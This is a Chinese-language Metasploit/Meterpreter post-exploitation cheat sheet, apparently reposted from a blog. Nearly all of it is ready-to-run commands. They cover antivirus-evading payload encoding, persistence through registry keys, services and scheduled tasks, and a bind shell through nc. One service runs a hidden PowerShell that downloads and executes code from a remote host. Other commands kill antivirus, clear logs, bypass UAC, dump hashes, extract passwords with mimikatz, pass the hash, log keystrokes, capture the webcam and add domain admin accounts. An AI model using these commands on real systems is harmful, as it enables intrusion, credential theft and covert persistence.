• Meterpreter


    监听

    AutoRunScrip:自动执行脚本

    如:自动执行post/windows/manage/migrate

    set AutoRunScript post/windows/manage/migrate
    set autorunscript migrate -f #获取shell后,将自动迁移到另一个进程

    自动注入进程

    set prependmigrate true
    set prependmigrateProc svchost.exe
    
    set exitonsession false  //可以让建立监听的端口继续保持侦听,可以接受多个session
    set stagerverifysslcert false  //防止获取shell的时候出现的SSL_accept错误

    免杀

    将控制端向被控制端发送的stage进行编码,从而绕过symantec的查杀

    set EnableStageEncoding true
    set stageencoder x86/fnstenv_mov
    set stageencodingfallback false
    

    相当于使用RC4

    msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=xxx lport=xxxx RC4PASSWORD=yourpass -f c

    利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。可以绕过symantec,且不用设置stageencoder选项,更稳定更方便

    绕过杀软的添加自启动

    exploit/windows/local/registry_persistence

    同类型的还有其他payload,如

    exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence

    后门脚本

    1.persistence

    metasploit/scripts/meterpreter/persistence

    用于创建通过启动项启动。会创建注册表,创建文件,但是很容易被杀软拦截。
    命令示例:

    run persistence -A -U -i 5 -p 443 -r 192.168.2.101

    使用-S可创建服务。-U 会在HKCU添加启动项,-X 会在HKLM添加启动项
    能实现同样功能的脚本还有:

    exploit/windows/local/persistence.rb
    exploit/windows/local/registry_persistence.rb


    2.metsvc.rb

    metasploit/scripts/meterpreter/metsvc.rb

    用于创建服务启动。会创建meterpreter服务,并上传三个文件。很容易被杀软拦截,且安装服务需要管理员权限。

    命令:

    run metsvc -A

    使用 -r 参数可卸载服务。

    3、Scheduleme & Schtasksabuse

    metasploit/scripts/meterpreter/scheduleme.rb
    metasploit/scripts/meterpreter/schtasksabuse.rb

    这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的

    区别是scheduleme 需要当前进程拥有最高管理权限,而schtasksabuse则不需要,(测试发现很容易被杀软拦截)。
    使用举例:

    run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080'
    run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令

    其他参数有兴趣自己看看就不详细介绍了

    schtasksabuse

    run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4  #每隔4秒执行一次calc.exe

    使用脚本需要加-t参数
    能实现同样功能的脚本还有:exploits/windows/local/s4u_persistence

    4. Mof_ps_persist
      Powershell之MOF后门 提到过,创建WMI后门的一种方式,可以在你的MSF添加此脚本。(运行需要管理员权限,不容易被拦截)

    绕过拦截的计划任务:

    schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次

    设置持久化后门

    设置powershell脚本开机自启动后门

    sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))""
    sc config “name” start= auto
    sc description “name” “description” 设置服务的描述字符串
    net start “name” 启动服务
    sc delete “name” 删除这个服务,不想使用服务直接删除

    创建自启动木马服务

    先创建一个服务名称后面跟着木马上传的路径,这里如果要保证”windows Service EXE程序不被杀毒软件拦截,最好做下免杀,在放到更加隐蔽的目录

    sc create "server power" binpath= "C:UsersAdministratorDesktopartifact.exe"
    sc description "server power" "description" 设置服务的描述字符串
    sc config "server power" start= auto 设置这个服务为自动启动
    net start "server power" 启动服务 

    也可以用注册表添加自启动

    生成一个exe木马程序(免杀)

    设置开机启动项,往注册表HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun添加木马程序路径 

    reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Keyname" /t REG_SZ /d "C:UsersAdministratorDesktopartifact1.exe" /f 

    当系统注销,再次进入登入到目标系统就会上线,权限是继承的。

    Meterpreter后渗透命令

    基本命令

    ps/migrate/sysinfo/screenshot /background
    
    cd/cat/ls/del/mkdir/rm/edit
    edit c:\windows\system32\drivers\etc\hosts  编辑文件
    
    upload /root/nc.exe c:\windows\system32  #上传
    download c:\Programs Files\Tecent\QQ\Users\qq号\Msg2.0.db /etc(聊天记录) #下载目标聊天记录,可用Qqlogger查看
    
    clearev --清除日志    
    run killav --干掉杀软    
    run vnc --开启目标vnc服务
    run scraper    --列举系统及用户敏感信息、下载用户注册表
    run metsvc --在目标上将meterpreter安装为后门服务,
    
     

    绕过 UAC

    meterpreter> run post/windows/escalate/bypassuac
    
    uictl enable keyboard/mouse    #获取键盘或鼠标的控制权
    timestomp 文件a -f 文件b          #把文件a的时间信息设置的与b相同
    run webcam -p 图片保存路径      #开启目标摄像头并截图
    run packetrecorder –i 会话序号          #捕获流量数据包.pcap
    
    setdesktop    -更改 meterpreter 桌面
    sessions –u 会话序号    #将shenll会话转换成meterpreter
    getwd –显示目录          lcd -更改目录
    getprivs   -获取更多特权          getpid -获取当前进程 ID (PID)    
    getsystem   获得系统权限      getuid -获取作为运行服务器的用户
    search –d c:\windows –f *.mdb       #在目标主机Windows目录中搜索文件

    提权

    use priv
    getsystem
    getuid

    执行程序

    execute -H -i -f cmd.exe #隐藏执行cmd并与之交互
    execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt”
    #隐藏,从内存中,显示虚假运行程序,执行恶意程序

    搜集信息

    run post/windows/gather/forensics/enum_drivers    #获取磁盘分区信息
    run post/windows/gather/checkvm (run checkvm)    #检测是否为虚拟机
    run post/windows/gather/dumplinks    --查看目标最近系统操作路径(较慢)
    run post/windows/gather/enum_applications #查看目标的软件更新和补丁

    获取hash

    hashdump或run hashdump或run smart_hashdump
    >run post/windows/gather/hashdump
    >run /windows/gather/smart_hashdump    --可绕过windows UAC控制

    reg command #修改注册表

    run getgui –u 建立用户名 –p 建立用户的密码 #建立账户并开启远程终端
    run multi_console_command –rc /root/.msf3/logs/scripts/getgui/clean_up_*.rc   #清除脚本痕迹

    键盘记录

    keyscan_start keyscan_dump   keyscan_stop

    run post/windows/capture/keylog_recorder

    嗅探

    msf > use auxiliary/sniffer/psnuffle

    msf auxiliary(psnuffle) > run

    开启 RDP 服务

    reg add "hklmsystemcurrentcontrolsetcontrol	erminal server" 
    /f /v fDenyTSConnections /t REG_DWORD /d 0 
    netsh firewall set service remoteadmin enable 
    netsh firewall set service remotedesktop enable 
    关闭 Windows 防火墙
    netsh firewall set opmode disable

    开启vnc

    meterpreter>runvnc
    meterpreter>runscreen_unlock


    远程连接
    我们尝试用RDP连接到Windows 7,。

    >use post/windows/manage/enable_rdp  首先在msfconsole运行enable_rdp模块
    >set SESSION 2  把SESSION设置为无UAC限制的有权限的session
    >run
    然后用haxtorDaMan账号登录
    :xfreerdp /v:192.168.1.108 /port:3389/size:1600×900/u:haxtorDaMan /p:hax@Pass50

    端口转发与远程桌面连接

    portfwd add –l 9999(转发至本机的端口号) –p 3389 -r 目标IP
    rdesktop [-u 用户名 –p 密码] 127.0.0.1:9999
    rdesktop 192.168.1.3 -f 1024x768
    远程挂在本地文件夹(本地/home和/root文件夹挂在到远程服务器上分别命名为h和r)
    redsktop 192.168.1.3 -r disk:h=/home,r=/root
    共享剪贴板: redsktop 192.168.1.3 -r clipboard:PRIMARYCLIPBOARD

    Meterpreter 端口转发

    https://www.offensive­security.com/metasploit­unleashed/portfwd/ 
    # 
    # 反弹10.1.1.129端口3389到本地2222并监听
    meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
    root@kali:~# rdesktop 127.1.1.0:2222

    使用 Mimikatz 获取 Windows 明文用户名密码

    git clone https://github.com/gentilkiwi/mimikatz.git 
    privilege::debug 
    sekurlsa::logonPasswords full

    用kiwi获取明文密码:

    meterpreter>load kiwi
    meterpreter> creds_all
    meterpreter> lsa_dump_sam

    使用mimikatz自带的命令:

    meterpreter > mimikatz_command -f samdump::hashes
    meterpreter > mimikatz_command -f sekurlsa::searchPasswords 
    <前面一句命令在密码超过14位时LM会为空,后一句命令可能得到明文>

    Metaspolit中使用Mimikatz:

    使用metasploit内建的命令:
    meterpreter > load mimikatz
    meterpreter > msv   #msv creden
    meterpreter > kerberostials #kerberos credentials 
    
    获取到系统hash置换,可以去http://www.cmd5.com/进行NTLM解密

    当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆,需要使用
    pass-the-hash技术:

    msf>use windows/smb/psexec
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST  xxxx
    set LPORT  xxxx
    set RHOST  xxxx
    set SMBPassword xxxx
    exploit

    传递哈希攻击

    meterpreter > run post /windows/ gather/hashdump 
    Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: 
    msf > use exploit /windows/ smb/psexec 
    msf exploit(psexec) > set payload windows /meterpreter/ reverse_tcp 
    msf exploit(psexec) > set SMBPass 
    e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c 
    msf exploit(psexec) > exploit

    显示远程机器的防火墙规则,列出DEP和UAC策略。并禁用之

    > run getcountermeasure 
    > run getcountermeasure -h 
    > run getcountermeasure -d -k

    提权一般步骤

    > use priv > getsystem 
    > ps > steal_token 1784 
    > shell 
    net user hack password /add /DOMAIN 
    net group "DomainAdmins" hack /add /DOMAIN
    
    创建一个管理员帐号 (haxtorDaMan) 把它提升到管理员组,并且成为远程桌面用户
    net user haxtorDaManhax@Pass50 /add
    net localgroup “Administrators” haxtorDaMan /add
    net localgroup“Remote Desktop Users” haxtorDaMan /

    令牌模拟:

    当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限, 之后登陆其他机器时不需要登陆密码。 
    > ps # 查看进程, 找出域控账户运行的进程 ID, 如 PID为 380
    > steal_token 380
    有时 ps命令列出的进程中可能不存在域控账户的进程, 
    此时使用 incognito模块查看可用 token: 
    > use incognito (use priv4    getsystem)
    > list_tokens –u    #列出可用 token
    > impersonate_token SNEAKS.IN\ihazdomainadmin 
    > add_user hacker password –h 域控制器IP #在域控主机上添加账户 
    > add_group_user “Domain Admins” hacker –h IP #将账户添加至域管理员

    使用 Railgun操作 windowsAPIs

    例: 
    meterpreter> irb
    >>client.core.use(“railgun”)    #添加Railgun模块
    >>client.railgun.user32.MessageBoxA(o,“我是hack!”,“world”,“MB_OK”)
    #在目标机器上会弹出一个标题栏为 world,内容为“我是hack!”的窗口
    >>client.railgun.user32.MessageBoxA(0,“我是hack!”,NULL,“MB_OK”)
    >> client.railgun.kernel32.SetThreadExecutionState(“ES_CONTINUOUS | ES_SYSTEM_
    REQUIRED”)    #阻止目标主机进入睡眠状态
    
  • 相关阅读:
    python matplotlib 绘图
    python set add 导致问题 TypeError: unhashable type: 'list'
    python 子类继承父类的__init__方法
    python 内存监控模块之memory_profiler
    git log 常用命令
    wireshark使用教程
    python os.path模块
    Linux crontab 定时任务
    linux环境变量LD_LIBRARY_PATH
    Linux的ldconfig和ldd用法
  • 原文地址:https://www.cnblogs.com/ssooking/p/6192995.html
Copyright © 2020-2023  润新知